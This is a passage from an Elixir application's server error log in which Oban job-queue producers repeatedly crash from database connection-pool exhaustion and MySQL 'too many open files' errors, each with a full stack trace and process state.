State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:00:25.240064Z], limit: 5, uuid: "0ceb3fa0-6158-49ab-8de8-5f0a08df6312", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:25.240069Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15772>, refresh_timer: #Reference<0.2525715032.1068498948.42653>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:00:25.239922Z], limit: 50, uuid: "4ed7a363-5344-4627-801a-04f914dbf581", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:25.239927Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15773>, refresh_timer: #Reference<0.2525715032.1068498948.42642>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:00:25.239740Z], limit: 5, uuid: "45d64b3d-028f-4f5b-85b2-55033c30ca90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:25.239746Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15771>, refresh_timer: #Reference<0.2525715032.1068498948.42632>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:00:25.241057Z], limit: 20, uuid: "586308bc-7385-48b5-865b-f480d6a3760e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:25.241062Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15770>, refresh_timer: #Reference<0.2525715032.1068498948.42664>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:00:25.239944Z], limit: 3, uuid: "ae82aa42-c0c2-4f50-ad9e-67f6aa950e79", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:25.239950Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15774>, refresh_timer: #Reference<0.2525715032.1068498948.42644>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:39.487000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:39.985000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:43.149000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:43.410000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:44.281000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:46.298000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:50.214000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:00:38.240147Z], limit: 3, uuid: "bffdc33c-1372-4c4e-adcc-77d17af0e80f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:38.240153Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16021>, refresh_timer: #Reference<0.2525715032.1068498948.42986>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:00:38.239055Z], limit: 50, uuid: "6bfe2a1c-9883-4f25-a45d-582e82585386", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:38.239060Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16018>, refresh_timer: #Reference<0.2525715032.1077673987.16000>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:00:38.239257Z], limit: 20, uuid: "d1daa3b7-ce32-4464-b69b-988d2948e0e9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:38.239262Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16016>, refresh_timer: #Reference<0.2525715032.1077673987.16008>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:00:38.238881Z], limit: 10, uuid: "853fe8d6-c203-426b-8046-78e67158a82b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:38.238886Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16019>, refresh_timer: #Reference<0.2525715032.1068498948.42966>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
